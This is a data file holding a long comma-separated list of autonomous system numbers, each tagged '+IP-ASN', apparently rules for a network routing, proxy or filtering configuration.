401104 +IP-ASN, 16402 +IP-ASN, 16401 +IP-ASN, 16400 +IP-ASN, 401110 +IP-ASN, 53393 +IP-ASN, 40077 +IP-ASN, 40075 +IP-ASN, 40076 +IP-ASN, 29700 +IP-ASN, 29701 +IP-ASN, 40080 +IP-ASN, 203069 +IP-ASN, 40081 +IP-ASN, 40085 +IP-ASN, 40082 +IP-ASN, 216360 +IP-ASN, 40088 +IP-ASN, 40089 +IP-ASN, 40091 +IP-ASN, 40092 +IP-ASN, 40090 +IP-ASN, 40096 +IP-ASN, 53398 +IP-ASN, 53399 +IP-ASN, 53396 +IP-ASN, 53397 +IP-ASN, 40097 +IP-ASN, 40098 +IP-ASN, 216357 +IP-ASN, 215019 +IP-ASN, 216321 +IP-ASN, 204340 +IP-ASN, 205663 +IP-ASN, 15029 +IP-ASN, 401065 +IP-ASN, 27011 +IP-ASN, 27010 +IP-ASN, 27013 +IP-ASN, 27015 +IP-ASN, 27014 +IP-ASN, 27017 +IP-ASN, 27016 +IP-ASN, 27008 +IP-ASN, 27009 +IP-ASN, 54626 +IP-ASN, 31987 +IP-ASN, 54629 +IP-ASN, 31989 +IP-ASN, 30659 +IP-ASN, 31984 +IP-ASN, 15033 +IP-ASN, 54620 +IP-ASN, 30654 +IP-ASN, 54623 +IP-ASN, 31980 +IP-ASN, 15038 +IP-ASN, 54624 +IP-ASN, 15035 +IP-ASN, 31982 +IP-ASN, 30650 +IP-ASN, 31981 +IP-ASN, 15036 +IP-ASN, 15019 +IP-ASN, 15017 +IP-ASN, 27000 +IP-ASN, 42651 +IP-ASN, 27002 +IP-ASN, 27001 +IP-ASN, 27004 +IP-ASN, 27003 +IP-ASN, 27006 +IP-ASN, 27005 +IP-ASN, 53307 +IP-ASN, 54638 +IP-ASN, 54639 +IP-ASN, 54636 +IP-ASN, 53305 +IP-ASN, 53306 +IP-ASN, 54637 +IP-ASN, 31977 +IP-ASN, 31976 +IP-ASN, 53309 +IP-ASN, 30647 +IP-ASN, 31978 +IP-ASN, 31973 +IP-ASN, 30641 +IP-ASN, 31972 +IP-ASN, 15023 +IP-ASN, 30643 +IP-ASN, 31975 +IP-ASN, 15020 +IP-ASN, 30644 +IP-ASN, 54634 +IP-ASN, 15026 +IP-ASN, 15027 +IP-ASN, 54635 +IP-ASN, 53301 +IP-ASN, 31971 +IP-ASN, 30640 +IP-ASN, 53302 +IP-ASN, 15025 +IP-ASN, 15008 +IP-ASN, 40008 +IP-ASN, 40009 +IP-ASN, 15009 +IP-ASN, 40006 +IP-ASN, 15006 +IP-ASN, 401041 +IP-ASN, 15007 +IP-ASN, 18999 +IP-ASN, 401044 +IP-ASN, 40000 +IP-ASN, 40001 +IP-ASN, 29656 +IP-ASN, 40002 +IP-ASN, 40003 +IP-ASN, 54649 +IP-ASN, 30639 +IP-ASN, 53316 +IP-ASN, 54648 +IP-ASN, 53317 +IP-ASN, 31966 +IP-ASN, 30634 +IP-ASN, 31965 +IP-ASN, 30635 +IP-ASN, 30636 +IP-ASN, 31967 +IP-ASN, 54641 +IP-ASN, 15011 +IP-ASN, 54642 +IP-ASN, 53311 +IP-ASN, 31964 +IP-ASN, 30633 +IP-ASN, 54640 +IP-ASN, 54645 +IP-ASN, 15015 +IP-ASN, 54646 +IP-ASN, 53315 +IP-ASN, 15013 +IP-ASN, 53313 +IP-ASN, 40017 +IP-ASN, 40018 +IP-ASN, 40010 +IP-ASN, 40015 +IP-ASN, 40016 +IP-ASN, 40013 +IP-ASN, 31958 +IP-ASN, 30628 +IP-ASN, 30629 +IP-ASN, 53327 +IP-ASN, 53328 +IP-ASN, 31955 +IP-ASN, 31957 +IP-ASN, 30625 +IP-ASN, 30626 +IP-ASN, 53321 +IP-ASN, 18995 +IP-ASN, 31951 +IP-ASN, 31950 +IP-ASN, 53322 +IP-ASN, 30620 +IP-ASN, 54650 +IP-ASN, 30622 +IP-ASN, 53320 +IP-ASN, 31952 +IP-ASN, 54656 +IP-ASN, 53325 +IP-ASN, 54654 +IP-ASN, 18993 +IP-ASN, 53323 +IP-ASN, 18994 +IP-ASN, 53324 +IP-ASN, 16315 +IP-ASN, 18977 +IP-ASN, 18978 +IP-ASN, 53340 +IP-ASN, 54671 +IP-ASN, 40020 +IP-ASN, 40021 +IP-ASN, 40026 +IP-ASN, 40027 +IP-ASN, 40025 +IP-ASN, 31948 +IP-ASN, 31947 +IP-ASN, 30617 +IP-ASN, 54669 +IP-ASN, 30618 +IP-ASN, 30612 +IP-ASN, 30613 +IP-ASN, 30614 +IP-ASN, 30615 +IP-ASN, 31940 +IP-ASN, 54663 +IP-ASN, 53332 +IP-ASN, 54664 +IP-ASN, 53333 +IP-ASN, 54661 +IP-ASN, 31942 +IP-ASN, 53331 +IP-ASN, 18980 +IP-ASN, 54667 +IP-ASN, 53337 +IP-ASN, 18981 +IP-ASN, 54668 +IP-ASN, 53334 +IP-ASN, 54665 +IP-ASN, 18982 +IP-ASN, 54666 +IP-ASN, 18983 +IP-ASN, 40039 +IP-ASN, 54681 +IP-ASN, 18966 +IP-ASN, 54682 +IP-ASN, 18969 +IP-ASN, 54680 +IP-ASN, 40033 +IP-ASN, 40031 +IP-ASN, 40037 +IP-ASN, 40038 +IP-ASN, 40035 +IP-ASN, 40036 +IP-ASN, 31937 +IP-ASN, 30606 +IP-ASN, 30607 +IP-ASN, 31939 +IP-ASN, 40040 +IP-ASN, 30601 +IP-ASN, 30602 +IP-ASN, 30604 +IP-ASN, 18973 +IP-ASN, 18974 +IP-ASN, 54675 +IP-ASN, 53341 +IP-ASN, 18975 +IP-ASN, 30600 +IP-ASN, 54673 +IP-ASN, 18976 +IP-ASN, 53347 +IP-ASN, 54678 +IP-ASN, 54676 +IP-ASN, 53345 +IP-ASN, 18972 +IP-ASN, 54677 +IP-ASN, 18959 +IP-ASN, 54692 +IP-ASN, 53361 +IP-ASN, 18955 +IP-ASN, 54693 +IP-ASN, 54690 +IP-ASN, 18957 +IP-ASN, 54691 +IP-ASN, 40044 +IP-ASN, 40042 +IP-ASN, 40043 +IP-ASN, 31929 +IP-ASN, 40049 +IP-ASN, 41378 +IP-ASN, 40047 +IP-ASN, 31927 +IP-ASN, 40051 +IP-ASN, 31922 +IP-ASN, 31921 +IP-ASN, 31923 +IP-ASN, 40050 +IP-ASN, 53354 +IP-ASN, 18962 +IP-ASN, 53355 +IP-ASN, 54686 +IP-ASN, 18964 +IP-ASN, 53352 +IP-ASN, 54683 +IP-ASN, 31920 +IP-ASN, 54684 +IP-ASN, 53353 +IP-ASN, 18965 +IP-ASN, 54689 +IP-ASN, 54687 +IP-ASN, 18960 +IP-ASN, 18961 +IP-ASN, 53357 +IP-ASN, 18948 +IP-ASN, 18949 +IP-ASN, 53372 +IP-ASN, 18944 +IP-ASN, 53373 +IP-ASN, 40055 +IP-ASN, 40056 +IP-ASN, 40053 +IP-ASN, 40054 +IP-ASN, 40059 +IP-ASN, 31919 +IP-ASN, 40057 +IP-ASN, 31915 +IP-ASN, 31911 +IP-ASN, 40062 +IP-ASN, 40063 +IP-ASN, 31913 +IP-ASN, 40061 +IP-ASN, 54696 +IP-ASN, 18951 +IP-ASN, 54697 +IP-ASN, 53366 +IP-ASN, 18952 +IP-ASN, 54695 +IP-ASN, 53369 +IP-ASN, 54698 +IP-ASN, 53368 +IP-ASN, 393871 +IP-ASN, 2055 +IP-ASN, 3388 +IP-ASN, 3389 +IP-ASN, 393876 +IP-ASN, 393872 +IP-ASN, 393873 +IP-ASN, 393875 +IP-ASN, 393869 +IP-ASN, 3384 +IP-ASN, 3380 +IP-ASN, 3381 +IP-ASN, 393880 +IP-ASN, 393882 +IP-ASN, 27086 +IP-ASN, 393888 +IP-ASN, 393889 +IP-ASN, 393883 +IP-ASN, 393885 +IP-ASN, 393886 +IP-ASN, 3390 +IP-ASN, 393892 +IP-ASN, 393898 +IP-ASN, 393899 +IP-ASN, 27079 +IP-ASN, 393895 +IP-ASN, 393896 +IP-ASN, 393897 +IP-ASN, 15092 +IP-ASN, 15096 +IP-ASN, 15099 +IP-ASN, 15097 +IP-ASN, 27064 +IP-ASN, 27066 +IP-ASN, 27065 +IP-ASN, 27069 +IP-ASN, 15081 +IP-ASN, 15084 +IP-ASN, 15085 +IP-ASN, 15082 +IP-ASN, 15083 +IP-ASN, 15088 +IP-ASN, 15089 +IP-ASN, 15086 +IP-ASN, 2015 +IP-ASN, 2011 +IP-ASN, 2013 +IP-ASN, 15073 +IP-ASN, 15074 +IP-ASN, 15071 +IP-ASN, 15077 +IP-ASN, 30697 +IP-ASN, 30698 +IP-ASN, 30699 +IP-ASN, 30692 +IP-ASN, 15079 +IP-ASN, 42615 +IP-ASN, 30690 +IP-ASN, 30691 +IP-ASN, 3354 +IP-ASN, 2024 +IP-ASN, 3356 +IP-ASN, 2025 +IP-ASN, 27046 +IP-ASN, 27047 +IP-ASN, 16394 +IP-ASN, 15062 +IP-ASN, 16393 +IP-ASN, 15063 +IP-ASN, 16392 +IP-ASN, 16391 +IP-ASN, 30685 +IP-ASN, 16398 +IP-ASN, 2020 +IP-ASN, 30687 +IP-ASN, 30688 +IP-ASN, 15065 +IP-ASN, 2021 +IP-ASN, 30681 +IP-ASN, 16399 +IP-ASN, 15069 +IP-ASN, 2037 +IP-ASN, 3369 +IP-ASN, 42624 +IP-ASN, 30680 +IP-ASN, 3364 +IP-ASN, 2033 +IP-ASN, 3365 +IP-ASN, 27031 +IP-ASN, 3366 +IP-ASN, 29696 +IP-ASN, 27029 +IP-ASN, 54603 +IP-ASN, 30678 +IP-ASN, 30679 +IP-ASN, 54607 +IP-ASN, 15050 +IP-ASN, 3360 +IP-ASN, 30674 +IP-ASN, 15055 +IP-ASN, 3361 +IP-ASN, 2030 +IP-ASN, 16386 +IP-ASN, 30676 +IP-ASN, 15053 +IP-ASN, 2031 +IP-ASN, 16385 +IP-ASN, 15054 +IP-ASN, 30677 +IP-ASN, 16384 +IP-ASN, 15059 +IP-ASN, 54602 +IP-ASN, 30671 +IP-ASN, 30672 +IP-ASN, 16389 +IP-ASN, 54600 +IP-ASN, 30673 +IP-ASN, 16388 +IP-ASN, 3379 +IP-ASN, 2048 +IP-ASN, 2044 +IP-ASN, 3375 +IP-ASN, 3376 +IP-ASN, 27020 +IP-ASN, 3377 +IP-ASN, 2046 +IP-ASN, 3378 +IP-ASN, 27022 +IP-ASN, 27021 +IP-ASN, 27023 +IP-ASN, 27026 +IP-ASN, 42633 +IP-ASN, 27025 +IP-ASN, 27028 +IP-ASN, 27027 +IP-ASN, 27019 +IP-ASN, 54616 +IP-ASN, 54617 +IP-ASN, 27018 +IP-ASN, 31999 +IP-ASN, 30667 +IP-ASN, 15040 +IP-ASN, 31998 +IP-ASN, 15041 +IP-ASN, 54618 +IP-ASN, 30669 +IP-ASN, 54619 +IP-ASN, 3371 +IP-ASN, 31995 +IP-ASN, 30663 +IP-ASN, 3372 +IP-ASN, 30664 +IP-ASN, 2041 +IP-ASN, 15045 +IP-ASN, 15042 +IP-ASN, 31997 +IP-ASN, 30665 +IP-ASN, 3373 +IP-ASN, 30666 +IP-ASN, 31996 +IP-ASN, 3374 +IP-ASN, 31991 +IP-ASN, 15048 +IP-ASN, 15049 +IP-ASN, 54613 +IP-ASN, 15046 +IP-ASN, 15047 +IP-ASN, 54611 +IP-ASN, 4878 +IP-ASN, 393912 +IP-ASN, 3549 +IP-ASN, 4879 +IP-ASN, 393906 +IP-ASN, 393908 +IP-ASN, 393909 +IP-ASN, 393904 +IP-ASN, 4887 +IP-ASN, 3555 +IP-ASN, 4886 +IP-ASN, 3557 +IP-ASN, 4889 +IP-ASN, 4888 +IP-ASN, 4882 +IP-ASN, 4884 +IP-ASN, 393920 +IP-ASN, 393922 +IP-ASN, 393917 +IP-ASN, 393919 +IP-ASN, 393914 +IP-ASN, 4880 +IP-ASN, 4898 +IP-ASN, 4897 +IP-ASN, 4894 +IP-ASN, 3562 +IP-ASN, 4893 +IP-ASN, 3565 +IP-ASN, 393931 +IP-ASN, 393933 +IP-ASN, 393928 +IP-ASN, 393929 +IP-ASN, 393924 +IP-ASN, 206846 +IP-ASN, 393925 +IP-ASN, 4890 +IP-ASN, 4892 +IP-ASN, 3561 +IP-ASN, 4891 +IP-ASN, 3577 +IP-ASN, 3573 +IP-ASN, 3576 +IP-ASN, 393943 +IP-ASN, 393945 +IP-ASN, 393940 +IP-ASN, 393941 +IP-ASN, 393939 +IP-ASN, 393935 +IP-ASN, 393936 +IP-ASN, 393938 +IP-ASN, 3571 +IP-ASN, 3502 +IP-ASN, 3503 +IP-ASN, 393953 +IP-ASN, 393954 +IP-ASN, 393950 +IP-ASN, 393951 +IP-ASN, 393946 +IP-ASN, 393948 +IP-ASN, 393949 +IP-ASN, 3512 +IP-ASN, 393964 +IP-ASN, 393965 +IP-ASN, 393967 +IP-ASN, 393960 +IP-ASN, 3515 +IP-ASN, 393961 +IP-ASN, 393962 +IP-ASN, 393958 +IP-ASN, 393959 +IP-ASN, 3525 +IP-ASN, 393977 +IP-ASN, 393971 +IP-ASN, 3527 +IP-ASN, 393972 +IP-ASN, 393968 +IP-ASN, 393969 +IP-ASN, 4867 +IP-ASN, 393986 +IP-ASN, 393988 +IP-ASN, 393989 +IP-ASN, 4869 +IP-ASN, 393982 +IP-ASN, 4868 +IP-ASN, 393983 +IP-ASN, 393984 +IP-ASN, 393985 +IP-ASN, 393979 +IP-ASN, 18937 +IP-ASN, 216268 +IP-ASN, 18938 +IP-ASN, 216266 +IP-ASN, 54593 +IP-ASN, 53262 +IP-ASN, 18933 +IP-ASN, 18934 +IP-ASN, 54594 +IP-ASN, 53263 +IP-ASN, 18935 +IP-ASN, 53260 +IP-ASN, 54591 +IP-ASN, 53261 +IP-ASN, 31904 +IP-ASN, 31900 +IP-ASN, 31902 +IP-ASN, 53256 +IP-ASN, 54584 +IP-ASN, 18943 +IP-ASN, 53254 +IP-ASN, 53259 +IP-ASN, 54588 +IP-ASN, 53257 +IP-ASN, 18929 +IP-ASN, 216253 +IP-ASN, 53274 +IP-ASN, 18923 +IP-ASN, 53271 +IP-ASN, 18925 +IP-ASN, 53272 +IP-ASN, 216250 +IP-ASN, 53266 +IP-ASN, 54598 +IP-ASN, 53264 +IP-ASN, 54596 +IP-ASN, 53268 +IP-ASN, 54599 +IP-ASN, 53280 +IP-ASN, 53281 +IP-ASN, 18916 +IP-ASN, 18911 +IP-ASN, 53284 +IP-ASN, 216242 +IP-ASN, 53285 +IP-ASN, 53282 +IP-ASN, 18913 +IP-ASN, 18914 +IP-ASN, 53283 +IP-ASN, 18919 +IP-ASN, 53277 +IP-ASN, 18920 +IP-ASN, 53276 +IP-ASN, 53279 +IP-ASN, 53291 +IP-ASN, 18904 +IP-ASN, 53292 +IP-ASN, 18905 +IP-ASN, 18906 +IP-ASN, 18907 +IP-ASN, 18900 +IP-ASN, 53296 +IP-ASN, 53293 +IP-ASN, 18902 +IP-ASN, 53294 +IP-ASN, 18903 +IP-ASN, 53288 +IP-ASN, 53289 +IP-ASN, 53286 +IP-ASN, 53287 +IP-ASN, 53299 +IP-ASN, 53298 +IP-ASN, 216227 +IP-ASN, 216225 +IP-ASN, 216211 +IP-ASN, 206885 +IP-ASN, 204229 +IP-ASN, 393901 +IP-ASN, 54506 +IP-ASN, 54507 +IP-ASN, 31867 +IP-ASN, 30536 +IP-ASN, 31869 +IP-ASN, 30537 +IP-ASN, 31863 +IP-ASN, 30532 +IP-ASN, 31862 +IP-ASN, 31865 +IP-ASN, 30533 +IP-ASN, 31864 +IP-ASN, 54502 +IP-ASN, 54503 +IP-ASN, 31861 +IP-ASN, 54500 +IP-ASN, 54501 +IP-ASN, 30530 +IP-ASN, 18889 +IP-ASN, 54518 +IP-ASN, 31859 +IP-ASN, 54515 +IP-ASN, 18890 +IP-ASN, 18891 +IP-ASN, 54516 +IP-ASN, 30524 +IP-ASN, 30525 +IP-ASN, 54519 +IP-ASN, 31858 +IP-ASN, 30527 +IP-ASN, 31857 +IP-ASN, 30520 +IP-ASN, 18896 +IP-ASN, 31852 +IP-ASN, 18897 +IP-ASN, 18898 +IP-ASN, 30522 +IP-ASN, 31854 +IP-ASN, 31853 +IP-ASN, 30523 +IP-ASN, 18899 +IP-ASN, 54513 +IP-ASN, 18892 +IP-ASN, 18893 +IP-ASN, 54514 +IP-ASN, 54511 +IP-ASN, 54512 +IP-ASN, 30517 +IP-ASN, 54528 +IP-ASN, 31849 +IP-ASN, 54529 +IP-ASN, 31848 +IP-ASN, 54526 +IP-ASN, 18880 +IP-ASN, 31845 +IP-ASN, 30513 +IP-ASN, 31844 +IP-ASN, 30515 +IP-ASN, 18885 +IP-ASN, 31841 +IP-ASN, 54521 +IP-ASN, 18886 +IP-ASN, 31843 +IP-ASN, 18888 +IP-ASN, 30512 +IP-ASN, 18882 +IP-ASN, 54525 +IP-ASN, 18883 +IP-ASN, 54523 +IP-ASN, 18867 +IP-ASN, 54539 +IP-ASN, 31837 +IP-ASN, 30508 +IP-ASN, 54537 +IP-ASN, 54538 +IP-ASN, 31839 +IP-ASN, 31834 +IP-ASN, 30503 +IP-ASN, 31836 +IP-ASN, 31835 +IP-ASN, 18874 +IP-ASN, 54531 +IP-ASN, 31830 +IP-ASN, 54532 +IP-ASN, 31832 +IP-ASN, 30501 +IP-ASN, 54535 +IP-ASN, 18870 +IP-ASN, 54536 +IP-ASN, 18872 +IP-ASN, 54533 +IP-ASN, 54550 +IP-ASN, 18858 +IP-ASN, 18859 +IP-ASN, 216183 +IP-ASN, 31827 +IP-ASN, 54548 +IP-ASN, 31829 +IP-ASN, 54549 +IP-ASN, 31828 +IP-ASN, 31823 +IP-ASN, 31822 +IP-ASN, 31825 +IP-ASN, 31824 +IP-ASN, 54542 +IP-ASN, 18864 +IP-ASN, 18865 +IP-ASN, 31821 +IP-ASN, 54546 +IP-ASN, 54547 +IP-ASN, 18860 +IP-ASN, 54544 +IP-ASN, 54545 +IP-ASN, 18862 +IP-ASN, 54560 +IP-ASN, 54561 +IP-ASN, 18847 +IP-ASN, 18848 +IP-ASN, 31816 +IP-ASN, 54559 +IP-ASN, 31817 +IP-ASN, 31812 +IP-ASN, 31811 +IP-ASN, 31814 +IP-ASN, 54554 +IP-ASN, 18853 +IP-ASN, 54552 +IP-ASN, 18855 +IP-ASN, 54557 +IP-ASN, 54558 +IP-ASN, 54555 +IP-ASN, 54556 +IP-ASN, 18851 +IP-ASN, 18838 +IP-ASN, 18839 +IP-ASN, 54571 +IP-ASN, 18834 +IP-ASN, 54572 +IP-ASN, 31808 +IP-ASN, 31804 +IP-ASN, 31807 +IP-ASN, 31806 +IP-ASN, 31801 +IP-ASN, 31800 +IP-ASN, 31803 +IP-ASN, 31802 +IP-ASN, 18841 +IP-ASN, 18842 +IP-ASN, 54565 +IP-ASN, 18844 +IP-ASN, 54568 +IP-ASN, 54566 +IP-ASN, 54567 +IP-ASN, 18827 +IP-ASN, 18828 +IP-ASN, 18829 +IP-ASN, 54582 +IP-ASN, 53251 +IP-ASN, 54583 +IP-ASN, 53252 +IP-ASN, 18824 +IP-ASN, 18826 +IP-ASN, 54575 +IP-ASN, 18830 +IP-ASN, 54576 +IP-ASN, 54573 +IP-ASN, 54574 +IP-ASN, 18833 +IP-ASN, 54579 +IP-ASN, 53249 +IP-ASN, 54578 +IP-ASN, 393991 +IP-ASN, 393992 +IP-ASN, 393997 +IP-ASN, 393998 +IP-ASN, 393999 +IP-ASN, 393993 +IP-ASN, 393995 +IP-ASN, 2173 +IP-ASN, 30597 +IP-ASN, 30598 +IP-ASN, 30593 +IP-ASN, 30595 +IP-ASN, 30590 +IP-ASN, 30586 +IP-ASN, 30587 +IP-ASN, 30588 +IP-ASN, 30581 +IP-ASN, 3464 +IP-ASN, 3465 +IP-ASN, 30577 +IP-ASN, 30572 +IP-ASN, 30573 +IP-ASN, 30574 +IP-ASN, 3479 +IP-ASN, 2149 +IP-ASN, 30570 +IP-ASN, 3474 +IP-ASN, 2143 +IP-ASN, 2145 +IP-ASN, 3477 +IP-ASN, 30568 +IP-ASN, 30569 +IP-ASN, 30564 +IP-ASN, 3470 +IP-ASN, 2140 +IP-ASN, 3471 +IP-ASN, 30565 +IP-ASN, 31898 +IP-ASN, 3472 +IP-ASN, 30567 +IP-ASN, 30560 +IP-ASN, 31892 +IP-ASN, 30562 +IP-ASN, 31893 +IP-ASN, 30563 +IP-ASN, 2158 +IP-ASN, 2159 +IP-ASN, 31890 +IP-ASN, 3486 +IP-ASN, 30558 +IP-ASN, 30553 +IP-ASN, 3481 +IP-ASN, 3482 +IP-ASN, 30554 +IP-ASN, 2152 +IP-ASN, 31887 +IP-ASN, 2153 +IP-ASN, 31881 +IP-ASN, 30550 +IP-ASN, 31880 +IP-ASN, 31883 +IP-ASN, 30551 +IP-ASN, 3480 +IP-ASN, 31882 +IP-ASN, 43845 +IP-ASN, 2165 +IP-ASN, 30546 +IP-ASN, 31877 +IP-ASN, 30548 +IP-ASN, 30542 +IP-ASN, 31874 +IP-ASN, 2161 +IP-ASN, 30543 +IP-ASN, 2162 +IP-ASN, 31875 +IP-ASN, 3495 +IP-ASN, 2164 +IP-ASN, 30545 +IP-ASN, 31870 +IP-ASN, 31872 +IP-ASN, 3491 +IP-ASN, 31871 +IP-ASN, 30541 +IP-ASN, 1002 +IP-ASN, 4997 +IP-ASN, 4996 +IP-ASN, 1001 +IP-ASN, 3666 +IP-ASN, 1000 +IP-ASN, 1006 +IP-ASN, 3663 +IP-ASN, 1004 +IP-ASN, 1003 +IP-ASN, 1009 +IP-ASN, 1008 +IP-ASN, 205419 +IP-ASN, 4991 +IP-ASN, 3660 +IP-ASN, 3676 +IP-ASN, 1012 +IP-ASN, 1010 +IP-ASN, 1017 +IP-ASN, 1015 +IP-ASN, 1014 +IP-ASN, 1019 +IP-ASN, 206731 +IP-ASN, 3671 +IP-ASN, 3688 +IP-ASN, 1023 +IP-ASN, 1021 +IP-ASN, 1027 +IP-ASN, 3685 +IP-ASN, 1025 +IP-ASN, 1029 +IP-ASN, 3680 +IP-ASN, 3681 +IP-ASN, 1035 +IP-ASN, 1034 +IP-ASN, 1033 +IP-ASN, 1037 +IP-ASN, 206718 +IP-ASN, 1031 +IP-ASN, 1030 +IP-ASN, 4954 +IP-ASN, 3620 +IP-ASN, 3629 +IP-ASN, 401305 +IP-ASN, 401304 +IP-ASN, 401307 +IP-ASN, 401306 +IP-ASN, 4966 +IP-ASN, 3634 +IP-ASN, 4965 +IP-ASN, 3635 +IP-ASN, 3630 +IP-ASN, 3644 +IP-ASN, 4977 +IP-ASN, 4972 +IP-ASN, 4986 +IP-ASN, 3655 +IP-ASN, 4985 +IP-ASN, 3657 +IP-ASN, 3653 +IP-ASN, 4983 +IP-ASN, 3659 +IP-ASN, 4980 +IP-ASN, 18816 +IP-ASN, 18817 +IP-ASN, 134521 +IP-ASN, 4911 +IP-ASN, 18818 +IP-ASN, 18819 +IP-ASN, 54472 +IP-ASN, 18812 +IP-ASN, 400010 +IP-ASN, 400011 +IP-ASN, 54470 +IP-ASN, 54471 +IP-ASN, 400012 +IP-ASN, 18815 +IP-ASN, 4917 +IP-ASN, 4913 +IP-ASN, 4912 +IP-ASN, 400013 +IP-ASN, 54466 +IP-ASN, 18820 +IP-ASN, 400014 +IP-ASN, 18821 +IP-ASN, 54464 +IP-ASN, 400016 +IP-ASN, 54469 +IP-ASN, 400017 +IP-ASN, 400019 +IP-ASN, 54467 +IP-ASN, 54468 +IP-ASN, 54480 +IP-ASN, 4922 +IP-ASN, 54483 +IP-ASN, 400020 +IP-ASN, 54484 +IP-ASN, 18802 +IP-ASN, 54481 +IP-ASN, 18803 +IP-ASN, 400023 +IP-ASN, 4927 +IP-ASN, 205484 +IP-ASN, 42495 +IP-ASN, 4923 +IP-ASN, 205488 +IP-ASN, 134537 +IP-ASN, 54476 +IP-ASN, 400025 +IP-ASN, 54474 +IP-ASN, 18811 +IP-ASN, 400027 +IP-ASN, 400028 +IP-ASN, 54478 +IP-ASN, 54491 +IP-ASN, 216124 +IP-ASN, 3601 +IP-ASN, 54495 +IP-ASN, 54493 +IP-ASN, 3606 +IP-ASN, 54488 +IP-ASN, 54485 +IP-ASN, 18800 +IP-ASN, 54489 +IP-ASN, 3613 +IP-ASN, 400000 +IP-ASN, 4940 +IP-ASN, 400001 +IP-ASN, 3614 +IP-ASN, 400002 +IP-ASN, 400003 +IP-ASN, 54496 +IP-ASN, 400004 +IP-ASN, 400005 +IP-ASN, 400006 +IP-ASN, 400008 +IP-ASN, 400009 +IP-ASN, 400050 +IP-ASN, 400052 +IP-ASN, 400057 +IP-ASN, 400060 +IP-ASN, 400062 +IP-ASN, 400063 +IP-ASN, 400064 +IP-ASN, 400065 +IP-ASN, 400066 +IP-ASN, 400067 +IP-ASN, 400068 +IP-ASN, 400069 +IP-ASN, 400031 +IP-ASN, 400034 +IP-ASN, 400036 +IP-ASN, 400037 +IP-ASN, 400038 +IP-ASN, 400039 +IP-ASN, 4900 +IP-ASN, 400040 +IP-ASN, 400043 +IP-ASN, 400045 +IP-ASN, 4906 +IP-ASN, 4905 +IP-ASN, 4902 +IP-ASN, 4901 +IP-ASN, 4903 +IP-ASN, 400047 +IP-ASN, 400048 +IP-ASN, 400049 +IP-ASN, 18779 +IP-ASN, 30418 +IP-ASN, 30419 +IP-ASN, 18780 +IP-ASN, 18781 +IP-ASN, 31746 +IP-ASN, 30415 +IP-ASN, 30416 +IP-ASN, 30417 +IP-ASN, 31747 +IP-ASN, 30410 +IP-ASN, 18786 +IP-ASN, 18787 +IP-ASN, 30412 +IP-ASN, 18789 +IP-ASN, 30413 +IP-ASN, 18784 +IP-ASN, 18769 +IP-ASN, 30408 +IP-ASN, 30403 +IP-ASN, 30404 +IP-ASN, 30405 +IP-ASN, 18776 +IP-ASN, 18777 +IP-ASN, 30401 +IP-ASN, 18778 +IP-ASN, 30402 +IP-ASN, 18771 +IP-ASN, 18772 +IP-ASN, 18773 +IP-ASN, 18757 +IP-ASN, 18758 +IP-ASN, 18759 +IP-ASN, 43755 +IP-ASN, 54407 +IP-ASN, 54408 +IP-ASN, 54405 +IP-ASN, 54406 +IP-ASN, 18766 +IP-ASN, 18767 +IP-ASN, 18760 +IP-ASN, 54403 +IP-ASN, 18763 +IP-ASN, 18746 +IP-ASN, 204091 +IP-ASN, 18747 +IP-ASN, 18749 +IP-ASN, 29403 +IP-ASN, 54417 +IP-ASN, 54410 +IP-ASN, 54411 +IP-ASN, 18756 +IP-ASN, 54414 +IP-ASN, 18751 +IP-ASN, 54413 +IP-ASN, 18752 +IP-ASN, 17406 +IP-ASN, 17405 +IP-ASN, 216061 +IP-ASN, 54429 +IP-ASN, 54427 +IP-ASN, 54428 +IP-ASN, 18742 +IP-ASN, 54421 +IP-ASN, 18743 +IP-ASN, 18744 +IP-ASN, 54420 +IP-ASN, 18745 +IP-ASN, 54425 +IP-ASN, 54426 +IP-ASN, 54424 +IP-ASN, 18741 +IP-ASN, 18728 +IP-ASN, 18729 +IP-ASN, 18724 +IP-ASN, 18725 +IP-ASN, 18727 +IP-ASN, 216052 +IP-ASN, 54438 +IP-ASN, 54439 +IP-ASN, 18731 +IP-ASN, 18733 +IP-ASN, 54430 +IP-ASN, 54431 +IP-ASN, 17403 +IP-ASN, 54437 +IP-ASN, 17402 +IP-ASN, 54434 +IP-ASN, 54435 +IP-ASN, 18717 +IP-ASN, 18718 +IP-ASN, 18719 +IP-ASN, 54450 +IP-ASN, 54451 +IP-ASN, 18715 +IP-ASN, 205398 +IP-ASN, 205399 +IP-ASN, 54449 +IP-ASN, 54443 +IP-ASN, 18720 +IP-ASN, 18723 +IP-ASN, 54448 +IP-ASN, 54445 +IP-ASN, 18707 +IP-ASN, 18708 +IP-ASN, 18709 +IP-ASN, 18703 +IP-ASN, 18704 +IP-ASN, 216030 +IP-ASN, 54455 +IP-ASN, 54452 +IP-ASN, 18712 +IP-ASN, 54458 +IP-ASN, 54459 +IP-ASN, 54456 +IP-ASN, 54457 +IP-ASN, 30498 +IP-ASN, 30499 +IP-ASN, 30494 +IP-ASN, 30495 +IP-ASN, 30497 +IP-ASN, 30491 +IP-ASN, 30493 +IP-ASN, 30489 +IP-ASN, 30483 +IP-ASN, 30484 +IP-ASN, 30485 +IP-ASN, 30481 +IP-ASN, 30477 +IP-ASN, 30478 +IP-ASN, 30479 +IP-ASN, 30472 +IP-ASN, 30473 +IP-ASN, 30474 +IP-ASN, 30475 +IP-ASN, 30471 +IP-ASN, 30469 +IP-ASN, 30465 +IP-ASN, 31799 +IP-ASN, 30467 +IP-ASN, 30468 +IP-ASN, 31793 +IP-ASN, 30462 +IP-ASN, 31791 +IP-ASN, 30460 +IP-ASN, 3585 +IP-ASN, 30458 +IP-ASN, 30459 +IP-ASN, 31789 +IP-ASN, 3580 +IP-ASN, 31786 +IP-ASN, 30454 +IP-ASN, 30455 +IP-ASN, 31785 +IP-ASN, 30456 +IP-ASN, 3582 +IP-ASN, 31787 +IP-ASN, 30457 +IP-ASN, 30450 +IP-ASN, 31781 +IP-ASN, 30452 +IP-ASN, 31784 +IP-ASN, 31783 +IP-ASN, 3599 +IP-ASN, 31780 +IP-ASN, 3595 +IP-ASN, 3598 +IP-ASN, 31779 +IP-ASN, 31778 +IP-ASN, 30449 +IP-ASN, 31775 +IP-ASN, 30443 +IP-ASN, 30444 +IP-ASN, 3592 +IP-ASN, 31774 +IP-ASN, 31777 +IP-ASN, 3593 +IP-ASN, 30445 +IP-ASN, 31776 +IP-ASN, 31770 +IP-ASN, 31773 +IP-ASN, 30441 +IP-ASN, 31772 +IP-ASN, 30442 +IP-ASN, 30436 +IP-ASN, 30437 +IP-ASN, 31767 +IP-ASN, 